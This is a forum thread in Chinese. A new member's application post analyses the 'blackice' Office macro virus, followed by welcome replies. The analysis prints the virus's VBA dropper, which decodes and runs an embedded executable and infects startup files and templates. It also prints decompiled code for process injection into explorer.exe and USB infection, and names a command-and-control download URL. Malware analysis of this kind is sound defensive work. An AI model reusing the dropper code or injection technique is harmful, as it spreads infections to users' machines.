发表于 2015-8-11 20:26

申请会员ID:HundredBai【申请通过】

1、申 请 I D :HundredBai
2、个人邮箱:HundredBai@126.com
3、原创技术文章:


最近遇到了不少Office的宏病毒,k4,blackice等,似乎宏病毒又换发了新的春天。
k4宏病毒想法比较单纯,似乎也没干什么实质性的坏事,而且代码也只是VB宏,没什么好说的。
blackice也已经流行了几年了,度娘上也有对其简单的分析,但似乎都不是我想要找的,没有进行深入的分析过,只有其表象的行为。


blackice实际上只是利用了Office宏进行感染及传播,真正内容都在其释放出来的PE文件blackice.exe上。


先来看看它的宏内容:

这个dump文件的方式,使一个没有多少内容的Excel文档大小达到了惊人的2.92M
Dim strTempPath As String * 260
Dim strTempFileName As String * 260
Dim ret, hFile, NumberofBytesWritten As Long
Dim W1, W2, W3, W4 As Integer
Dim n As Long
Dim buffer As Byte
ret = GetTempPath(260, strTempPath)
ret = GetTempFileName(Left(strTempPath, ret), "bk_", 0, strTempFileName)    '随机产生一个bk_开头的.tmp文件
hFile = CreateFile(strTempFileName, &H40000000, 0, 0, 2, 0, 0)
If hFile = -1 Then
Exit Sub
End If
For n = 1 To Len(filestring) Step 4    '用上边那个惊人的字符串解密出一个PE文件的内容
If Len(Mid(filestring, n, 1)) = 0 Then
W1 = -1
Else
W1 = InStr(base64, Mid(filestring, n, 1)) - 1
End If
If Len(Mid(filestring, n + 1, 1)) = 0 Then
W2 = -1
Else
W2 = InStr(base64, Mid(filestring, n + 1, 1)) - 1
End If
If Len(Mid(filestring, n + 2, 1)) = 0 Then
W3 = -1
Else
W3 = InStr(base64, Mid(filestring, n + 2, 1)) - 1
End If
If Len(Mid(filestring, n + 3, 1)) = 0 Then
W4 = -1
Else
W4 = InStr(base64, Mid(filestring, n + 3, 1)) - 1
End If
If W2 >= 0 Then
buffer = ((W1 * 4 + Int(W2 / 16)) And 255)
ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
End If
If W3 >= 0 Then
buffer = ((W2 * 16 + Int(W3 / 4)) And 255)
ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
End If
If W4 >= 0 Then
buffer = ((W3 * 64 + W4) And 255)
ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)    '写PE文件
End If
Next
CloseHandle (hFile)
Shell strTempFileName      '开始执行了




Private Sub infectxlstart()
... ...
tmpbook.SaveAs (Application.StartupPath + "\book1.xls")    '感染xlstart路径
... ...
End Sub


Private Sub infecttemplate()
... ...
ret = tmpbook.SaveAs(Application.StartupPath + "\book.xlt", xlTemplate)    '感染宏模板
... ...
End Sub

到这里,宏的使命就已经完成了。
剩下的就交给了释放出来的PE文件bk_*.tmp了。

这是个加壳PE文件,打开OD,开始脱壳。

脱壳过程可以参照
http://www.52pojie.cn/thread-49406-1-1.html

脱壳后用IDA打开,代码写的非常清晰,清晰到不需要太多调试,只用IDA的F5功能就能从容阅读代码:


int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
int result; // eax@2
LPVOID lpParameter; // @12
HANDLE hObject; // @14
struct _OSVERSIONINFOA VersionInformation; // @3
HANDLE hHandle; // @16

CreateMutexA(0, 0, "blackicemutex");          // 创建进程互斥
if ( GetLastError() == 183 )
{
    result = -1;
}
else
{
    memset(&VersionInformation, 0, 0x9Cu);
    VersionInformation.dwOSVersionInfoSize = 156;
    if ( GetVersionExA(&VersionInformation)   // 获取版本
      || (VersionInformation.dwOSVersionInfoSize = 148, GetVersionExA(&VersionInformation)) )
    {
      if ( VersionInformation.dwPlatformId == 2 )
      {
      if ( GetSystemDirectoryA(Buffer, 0x104u) )// 获取系统目录路径
      {
          sub_404ED1(byte_413910, byte_413510, name);// 获取mac地址,hostname,磁盘等信息
          strcpy(NewFileName, Buffer);
          strcat(NewFileName, "\\blackice.exe");
          strcpy(FileName, Buffer);
          strcat(FileName, "\\kernel.dll");
          if ( GetModuleFileNameA(0, Filename, 0x104u) )// 获取当前进程加载模块的路径
          {
            sub_404E4F();                     // 使当前进程拥有SeDebug权限
            sub_404C78(NewFileName, FileName);// 将当前模块加载文件(bk_*.tmp)复制到系统目录下,
                                                // 命名为blackice.exe,且修改其创建时间及属性(hidden|readonly|system)
                                                // 将当前模块加载文件(bk_*.tmp)复制到系统目录下,
                                                // 命名为kernel.dll,且修改其创建时间及属性(hidden|readonly|system)
            lpParameter = sub_40434A(NewFileName, FileName);// 对explorer.exe进行注入
            if ( lpParameter )
            {
            hObject = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_404A37, lpParameter, 0, 0);// 线程1 开机启动设置
            if ( hObject )
            {
                hHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_403D59, 0, 0, 0);// 线程2 网络操作,疑似后门下载
                if ( hHandle )
                {
                  CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_403105, 0, 0, 0);// 线程3 修改Office安全级别
                                                // 为了防止之前宏所感染的xlstart目录下book1.xls及模板文件book.xlt文件被删除,重写这两个文件。
//感染word启动文件及宏模板。
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_40495F, hInstance, 0, 0);// 检测U盘并感染其中的Office及.exe结尾的PE文件
               CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_403737, 0, 0, 0);// 感染h盘的Office及.exe结尾的PE文件
                  WaitForSingleObject(hObject, 0xFFFFFFFF);
                  WaitForSingleObject(hHandle, 0xFFFFFFFF);
                  result = 0;
                }
                else
                {
                  CloseHandle(hObject);
                  result = -1;
                }
            }
            else
            {
                CloseHandle(lpParameter);
                result = -1;
            }
            }
            else
            {
            result = -1;
            }
          }
          else
          {
            result = -1;
          }
      }
      else
      {
          result = -1;
      }
      }
      else
      {
      result = -1;
      }
    }
    else
    {
      result = -1;
    }
}
return result;
}


从上边代码看出,实际该进程完成下述功能:
1. 提权并将blackice复制到系统目录下而后进行隐藏
2. 注入了explorer.exe进程
3. 设置blackice的开机启动
4. 连接网络
5. 再次感染本地Office文件及宏模板
6. 检测U盘并感染其中文件
7. 感染h盘文件


第1步我们通过静态就可以完成分析,但第2步似乎只能通过OD进行调试了,
进入函数40434A并单步跟下去,

函数4041E1作用是通过遍历当前进程PID,通过对比进程名,获取Explorer.exe的PID。
继续向下分析

我机器上的Explorer.exe的PID是0xC4。
接下来就是进程注入一种很标准的写法了
VirtualAllocEX -> WriteProcessMemory -> CreateRemoteThread
CreateRemoteThread需要的参数及startAddress的地址都是通过VirtualAllocEX 申请WriteProcessMemory 写入的。

此次申请内存位置为00DA0000

之后通过GetProcAddress获取到注入线程中需要用到的函数地址,这部分内容及之前准备的数据内容组成了注入线程的参数。

此次申请内存位置为00DB0000
其实按照正常调试方法,这个时候应该在00DA0000下断点,继续调试注入线程中的内容,可是这次注入是坑爹的Explorer.exe,只要跟系统进程相关的操作,都特别不好操作。
00DA0000这个地址根本就看不到,也不允许下断点。
所以只能取巧了。
打开notepad.exe

notepad.exe的PID为348
OD加载病毒样本,断在通过PID获取Explorer.exe的handle位置

将eax值修改为notepad.exe的PID348
运行至CreateRemoteThread

线程执行代码地址为00AC0000,参数地址为00B50000
再打开一个OD,附加到notepad进程,并在00AC0000处下断点

bk_*.tmp进程F8单步执行过CreateRemoteThread,
notepad进程F9执行,发现断在了00AC0000处

于是,下边就可以对线程注入进行调试了。
注入内容为查找系统目录下是否存在blackice.exe,如果不存在,则复制一份过去。之后通过WinExec执行系统目录下的blackice.exe。
由于blackice.exe是由Explorer.exe启的,因此,无法通过任务管理器结束任务。


第3步通过修改system.ini实现开机启动。



第4步,下载网络文件

将http://fmtwld.zj.com/blackice/url.txt下载到本地系统目录下,并命名为blackice.ini
从blackice.ini中读取control项的url,并同之前获取到的mac,hostname,版本信息等一同组建一个完整的URL,发送到服务器
由于目前http://fmtwld.zj.com/blackice/url.txt无法获取,因此下列分析都为猜测

获取到URL的返回串后,根据返回串判断当前是否下载了攻击者部署在远程服务器中的恶意文件,如果没有下载,则将其下载下来并执行。猜测恶意文件可能为远控
第5、6、7步均为感染及扩散,这里不再做详细分析。


附:小弟刚从事安全没多久,所以希望申请个账号向各位大神请教

Hmily 发表于 2015-8-13 12:10

ID:HundredBai
邮箱:HundredBai@126.com

申请通过,欢迎光临吾爱破解论坛,期待吾爱破解有你更加精彩,ID和密码自己通过邮件密码找回功能修改,请即时登陆并修改密码!
登陆后请在一周内在此帖报道,否则将删除ID信息。

ps:登陆后可以把文章重新整理一下完善标题发到病毒分析区存档。

发表于 2015-8-13 14:58

Hmily 发表于 2015-8-13 12:10
ID:HundredBai
邮箱:



很开心加入吾爱破解{:17_1067:}

HundredBai 发表于 2015-8-13 15:03

Hmily 发表于 2015-8-13 12:10
ID:HundredBai
邮箱:



很开心加入吾爱破解{:17_1067:}

UUY 发表于 2015-8-14 19:45

欢迎加入吾爱~

尛小天丶 发表于 2015-8-15 07:29

欢迎大手。

发表于 2015-8-15 12:30

Hmily 发表于 2015-8-13 12:10
ID:HundredBai
邮箱:



版主为什么我发看会员申请贴不能看见?

Dowson小菜 发表于 2015-8-18 15:07

欢迎欢迎。热烈欢迎。{:301_991:}

Hmily 发表于 2015-8-20 16:32

游客 119.121.252.x 发表于 2015-8-15 12:30
版主为什么我发看会员申请贴不能看见?

审核中,要么就是不符合要求后台直接删除了。

糯米jay 发表于 2015-8-22 22:55

欢迎,我是新手哈哈
页: [1]
查看完整版本: 申请会员ID:HundredBai【申请通过】